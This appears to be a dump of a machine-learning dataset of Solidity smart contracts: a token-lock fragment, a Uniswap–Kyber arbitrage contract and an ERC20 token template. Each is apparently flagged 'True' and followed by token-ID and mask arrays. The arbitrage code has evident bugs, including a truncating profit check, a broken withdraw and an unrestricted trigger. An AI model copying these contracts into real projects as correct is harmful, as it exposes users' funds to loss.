tokenMap[_orderId] = _tokenSymbol;
userLock[userAddress].push(_orderId);
}
function priceHistoryFn (string memory wtoken, uint index) public view returns (uint, uint , uint) {
return (tokenPriceHistory[wtoken][index].value, tokenPriceHistory[wtoken][index].startDate, tokenPriceHistory[wtoken][index].endDate);
}
function rateHistoryFn (string memory wtoken, uint index) public view returns (uint, uint , uint, uint) {
return (tokenRateHistory[wtoken][index].dID, tokenRateHistory[wtoken][index].value, tokenRateHistory[wtoken][index].startDate, tokenRateHistory[wtoken][index].endDate);
}
receive() payable external { }
//Update 0.1 - Changes -> Fixing Rate for customers
struct rHistory{
uint dID;
uint value;
uint startDate;
uint endDate;
}
function findLockRate(uint _time, uint _dID, string memory _tokenSymbol) public view returns (uint) {
for(uint i=0; i<tokenRateHistory[_tokenSymbol].length;i++) {
if(tokenRateHistory[_tokenSymbol][i].dID==_dID && tokenRateHistory[_tokenSymbol][i].startDate < _time && (_time<(tokenRateHistory[_tokenSymbol][i].endDate==0?now:tokenRateHistory[_tokenSymbol][i].endDate))) return tokenRateHistory[_tokenSymbol][i].value;
}
}
function getUserLockID(address userAddress) public view returns (uint64 [] memory) {
return userLock[userAddress];
}
} | True | [
101,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1020,
1012,
1014,
1025,
10975,
8490,
2863,
6388,
11113,
9013,
16044,
2099,
2615,
2475,
1025,
12324,
1000,
1012,
1013,
17338,
29109,
5007,
1035,
3988,
17629,
1012,
14017,
1000,
1025,
1013,
1008,
100,
100,
100,
100,
100,
100,
2716,
2000,
2017,
2011,
1047,
2854,
13876,
8787,
2136,
1008,
1013,
3206,
17338,
7878,
24805,
4590,
2003,
3988,
21335,
3468,
1063,
24264,
3676,
7874,
6525,
14321,
19557,
7874,
1025,
17338,
8202,
3240,
24805,
4590,
7861,
2213,
1025,
17338,
29109,
5007,
5498,
2102,
1999,
4183,
1025,
4372,
2819,
3570,
1063,
2701,
1010,
3161,
1065,
1013,
1008,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
12375,
2015,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1008,
1013,
12375,
1006,
4769,
1027,
1028,
21318,
3372,
21084,
1031,
1033,
1007,
2270,
5310,
7878,
1025,
12375,
1006,
21318,
3372,
21084,
1027,
1028,
5164,
1007,
2270,
19204,
2863,
2361,
1025,
12375,
1006,
21318,
3372,
21084,
1027,
1028,
21318,
3372,
1007,
2270,
2344,
24979,
3370,
1025,
12375,
1006,
21318,
3372,
21084,
1027,
1028,
21318,
3372,
1007,
2270,
2344,
22591,
16671,
1025,
12375,
1006,
21318,
3372,
21084,
1027,
1028,
21318,
3372,
1007,
2270,
2344,
7292,
1025,
12375,
1006,
5164,
1027,
1028,
2381,
1031,
1033,
1007,
2270,
19204,
18098,
6610,
24158,
7062,
1025,
1013,
1013,
2051,
3593,
12375,
1006,
5164,
1027,
1028,
1054,
24158,
7062,
1031,
1033,
1007,
2270,
19204,
11657,
24158,
7062,
1025,
1013,
1013,
2051,
3593,
12375,
1006,
4769,
1027,
1028,
21318,
3372,
1007,
2270,
10377,
24415,
7265,
13668,
2015,
1025,
12375,
1006,
4769,
1027,
1028,
10632,
4877,
1031,
1033,
1007,
2270,
2489,
27241,
3215,
24415,
7265,
13668,
1025,
1013,
1008,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
2358,
6820,
16649,
1998,
3988,
17629,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1008,
1013,
2358,
6820,
6593,
2381,
1063,
1013,
1013,
21318,
3372,
11041,
1025,
21318,
3372,
3643,
1025,
21318,
3372,
2707,
13701,
1025,
21318,
3372,
2203,
13701,
1025,
1065,
2358,
6820,
6593,
10632,
4877,
1063,
5164,
19204,
1025,
21318,
3372,
3815,
1025,
1065,
3853,
3988,
4697,
4215,
16200,
4757,
1006,
4769,
3477,
3085,
5616,
14141,
8303,
1010,
4769,
19557,
7874,
4215,
16200,
4757,
1010,
4769,
3477,
3085,
1999,
6590,
14141,
8303,
1007,
6327,
3988,
17629,
1063,
7861,
2213,
1027,
17338,
8202,
3240,
24805,
4590,
1006,
5616,
14141,
8303,
1007,
1025,
19557,
7874,
1027,
24264,
3676,
7874,
6525,
14321,
1006,
19557,
7874,
4215,
16200,
4757,
1007,
1025,
1999,
4183,
1027,
17338,
29109,
5007,
5498,
2102,
1006,
1999,
6590,
14141,
8303,
1007,
1025,
1065,
3853,
3733,
102
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface ISwapRouter01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function removeLiquidity(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETH(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountToken, uint256 amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETHWithPermit(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountToken, uint256 amountETH);
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapTokensForExactTokens(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactETHForTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapTokensForExactETH(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactTokensForETH(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapETHForExactTokens(
uint256 amountOut,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function quote(
uint256 amountA,
uint256 reserveA,
uint256 reserveB
) external pure returns (uint256 amountB);
function getAmountOut(
uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountOut);
function getAmountIn(
uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountIn);
function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);
function getAmountsIn(uint256 amountOut, address[] calldata path)
external
view
returns (uint256[] memory amounts);
}
interface ISwapRouter02 is ISwapRouter01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount)
external
returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender)
external
view
returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract UniswapKyberArbitrage {
address public owner;
address public wethAddress;
address public daiAddress;
address private uniswapRouterAddress;
address private kyberwapRouterAddress;
uint256 public arbitrageAmount;
enum Exchange {
UNI,
KYBER,
NONE
}
constructor(
address _uniswapRouterAddress,
address _kyberswapRouterAddress,
address _weth,
address _dai
) {
uniswapRouterAddress = _uniswapRouterAddress;
kyberwapRouterAddress = _kyberswapRouterAddress;
owner = msg.sender;
wethAddress = _weth;
daiAddress = _dai;
}
modifier onlyOwner() {
require(msg.sender == owner, "only owner can call this");
_;
}
function changeOwner(address newOwner) public onlyOwner {
owner = newOwner;
}
function deposit(uint256 amount) public onlyOwner {
require(amount > 0, "Deposit amount must be greater than 0");
IERC20(wethAddress).transferFrom(msg.sender, address(this), amount);
arbitrageAmount += amount;
}
function withdraw(uint256 amount) public onlyOwner {
require(amount <= arbitrageAmount, "Not enough amount deposited");
IERC20(wethAddress).transferFrom(address(this), msg.sender, amount);
arbitrageAmount -= amount;
}
function makeArbitrage() public {
uint256 amountIn = arbitrageAmount;
Exchange result = _comparePrice(amountIn);
if (result == Exchange.UNI) {
// sell ETH in uniswap for DAI with high price and buy ETH from Kyberswap with lower price
uint256 amountOut = _swap(
amountIn,
uniswapRouterAddress,
wethAddress,
daiAddress
);
uint256 amountFinal = _swap(
amountOut,
kyberwapRouterAddress,
daiAddress,
wethAddress
);
arbitrageAmount = amountFinal;
} else if (result == Exchange.KYBER) {
// sell ETH in Kyberswap for DAI with high price and buy ETH from uniswap with lower price
uint256 amountOut = _swap(
amountIn,
kyberwapRouterAddress,
wethAddress,
daiAddress
);
uint256 amountFinal = _swap(
amountOut,
uniswapRouterAddress,
daiAddress,
wethAddress
);
arbitrageAmount = amountFinal;
}
}
function _swap(
uint256 amountIn,
address routerAddress,
address sell_token,
address buy_token
) internal returns (uint256) {
IERC20(sell_token).approve(routerAddress, amountIn);
uint256 amountOutMin = (_getPrice(
routerAddress,
sell_token,
buy_token,
amountIn
) * 95) / 100;
address[] memory path = new address[](2);
path[0] = sell_token;
path[1] = buy_token;
uint256 amountOut = ISwapRouter02(routerAddress)
.swapExactTokensForTokens(
amountIn,
amountOutMin,
path,
address(this),
block.timestamp
)[1];
return amountOut;
}
function _comparePrice(uint256 amount) internal view returns (Exchange) {
uint256 uniswapPrice = _getPrice(
uniswapRouterAddress,
wethAddress,
daiAddress,
amount
);
uint256 kyberswapPrice = _getPrice(
kyberwapRouterAddress,
wethAddress,
daiAddress,
amount
);
// we try to sell ETH with higher price and buy it back with low price to make profit
if (uniswapPrice > kyberswapPrice) {
require(
_checkIfArbitrageIsProfitable(
amount,
uniswapPrice,
kyberswapPrice
),
"Arbitrage not profitable"
);
return Exchange.UNI;
} else if (uniswapPrice < kyberswapPrice) {
require(
_checkIfArbitrageIsProfitable(
amount,
kyberswapPrice,
uniswapPrice
),
"Arbitrage not profitable"
);
return Exchange.KYBER;
} else {
return Exchange.NONE;
}
}
function _checkIfArbitrageIsProfitable(
uint256 amountIn,
uint256 higherPrice,
uint256 lowerPrice
) internal pure returns (bool) {
// uniswap & Kyberswap have 0.3% fee for every exchange
// so gain made must be greater than 2 * 0.3% * arbitrage_amount
// difference in ETH
uint256 difference = (higherPrice - lowerPrice) / higherPrice;
uint256 payed_fee = (2 * (amountIn * 3)) / 1000;
if (difference > payed_fee) {
return true;
} else {
return false;
}
}
function _getPrice(
address routerAddress,
address sell_token,
address buy_token,
uint256 amount
) internal view returns (uint256) {
address[] memory pairs = new address[](2);
pairs[0] = sell_token;
pairs[1] = buy_token;
uint256 price = ISwapRouter02(routerAddress).getAmountsOut(
amount,
pairs
)[1];
return price;
}
} | True | [
101,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1014,
1025,
8278,
2003,
4213,
21572,
19901,
24096,
1063,
3853,
4713,
1006,
1007,
6327,
5760,
5651,
1006,
4769,
1007,
1025,
3853,
4954,
2232,
1006,
1007,
6327,
5760,
5651,
1006,
4769,
1007,
1025,
3853,
5587,
3669,
15549,
25469,
1006,
4769,
19204,
2050,
1010,
4769,
19204,
2497,
1010,
21318,
3372,
17788,
2575,
3815,
18673,
27559,
1010,
21318,
3372,
17788,
2575,
3815,
2497,
6155,
27559,
1010,
21318,
3372,
17788,
2575,
3815,
10631,
2078,
1010,
21318,
3372,
17788,
2575,
3815,
25526,
2378,
1010,
4769,
2000,
1010,
21318,
3372,
17788,
2575,
15117,
1007,
6327,
5651,
1006,
21318,
3372,
17788,
2575,
3815,
2050,
1010,
21318,
3372,
17788,
2575,
3815,
2497,
1010,
21318,
3372,
17788,
2575,
6381,
3012,
1007,
1025,
3853,
5587,
3669,
15549,
25469,
11031,
1006,
4769,
19204,
1010,
21318,
3372,
17788,
2575,
3815,
18715,
10497,
2229,
27559,
1010,
21318,
3372,
17788,
2575,
3815,
18715,
2368,
10020,
1010,
21318,
3372,
17788,
2575,
3815,
11031,
10020,
1010,
4769,
2000,
1010,
21318,
3372,
17788,
2575,
15117,
1007,
6327,
3477,
3085,
5651,
1006,
21318,
3372,
17788,
2575,
3815,
18715,
2368,
1010,
21318,
3372,
17788,
2575,
3815,
11031,
1010,
21318,
3372,
17788,
2575,
6381,
3012,
1007,
1025,
3853,
6366,
3669,
15549,
25469,
1006,
4769,
19204,
2050,
1010,
4769,
19204,
2497,
1010,
21318,
3372,
17788,
2575,
6381,
3012,
1010,
21318,
3372,
17788,
2575,
3815,
10631,
2078,
1010,
21318,
3372,
17788,
2575,
3815,
25526,
2378,
1010,
4769,
2000,
1010,
21318,
3372,
17788,
2575,
15117,
1007,
6327,
5651,
1006,
21318,
3372,
17788,
2575,
3815,
2050,
1010,
21318,
3372,
17788,
2575,
3815,
2497,
1007,
1025,
3853,
6366,
3669,
15549,
25469,
11031,
1006,
4769,
19204,
1010,
21318,
3372,
17788,
2575,
6381,
3012,
1010,
21318,
3372,
17788,
2575,
3815,
18715,
2368,
10020,
1010,
21318,
3372,
17788,
2575,
3815,
11031,
10020,
1010,
4769,
2000,
1010,
21318,
3372,
17788,
2575,
15117,
1007,
6327,
5651,
1006,
21318,
3372,
17788,
2575,
3815,
18715,
2368,
1010,
21318,
3372,
17788,
2575,
3815,
11031,
1007,
1025,
3853,
6366,
3669,
15549,
25469,
24415,
4842,
22930,
1006,
4769,
19204,
2050,
1010,
4769,
19204,
2497,
1010,
21318,
3372,
17788,
2575,
6381,
3012,
1010,
21318,
3372,
17788,
2575,
3815,
10631,
2078,
1010,
21318,
3372,
17788,
2575,
3815,
25526,
2378,
1010,
4769,
2000,
1010,
21318,
3372,
17788,
2575,
15117,
1010,
22017,
2140,
14300,
17848,
1010,
21318,
3372,
2620,
1058,
1010,
27507,
16703,
1054,
1010,
27507,
16703,
1055,
1007,
6327,
5651,
1006,
21318,
3372,
17788,
2575,
3815,
2050,
1010,
21318,
3372,
17788,
2575,
3815,
2497,
1007,
1025,
3853,
6366,
3669,
15549,
25469,
11031,
24415,
4842,
22930,
1006,
4769,
19204,
1010,
21318,
3372,
17788,
2575,
6381,
3012,
1010,
21318,
3372,
17788,
2575,
3815,
18715,
2368,
10020,
1010,
21318,
3372,
17788,
2575,
3815,
11031,
10020,
1010,
4769,
2000,
1010,
21318,
3372,
17788,
2575,
15117,
1010,
22017,
2140,
14300,
17848,
1010,
21318,
3372,
2620,
1058,
1010,
27507,
16703,
1054,
1010,
27507,
16703,
1055,
1007,
6327,
5651,
1006,
21318,
3372,
17788,
2575,
3815,
18715,
2368,
1010,
21318,
3372,
17788,
2575,
3815,
11031,
1007,
1025,
3853,
19948,
10288,
18908,
18715,
6132,
13028,
102
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'RapidChain' token contract
//
// Deployed to :
// Symbol : RDC
// Name : Name
// Total supply: 3000000000
// Decimals : 18
//
// Enjoy.
//
// (c) by Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract RapidChain is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function RapidChain() public {
symbol = "RDC";
name = "RapidChain";
decimals = 18;
_totalSupply = 3000000000000000000000000000;
balances[0x6BcA02658cA7902CCDBB671D01151025C7Fb1D98] = _totalSupply; //MEW address here
Transfer(address(0), 0x6BcA02658cA7902CCDBB671D01151025C7Fb1D98, _totalSupply);//MEW address here
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
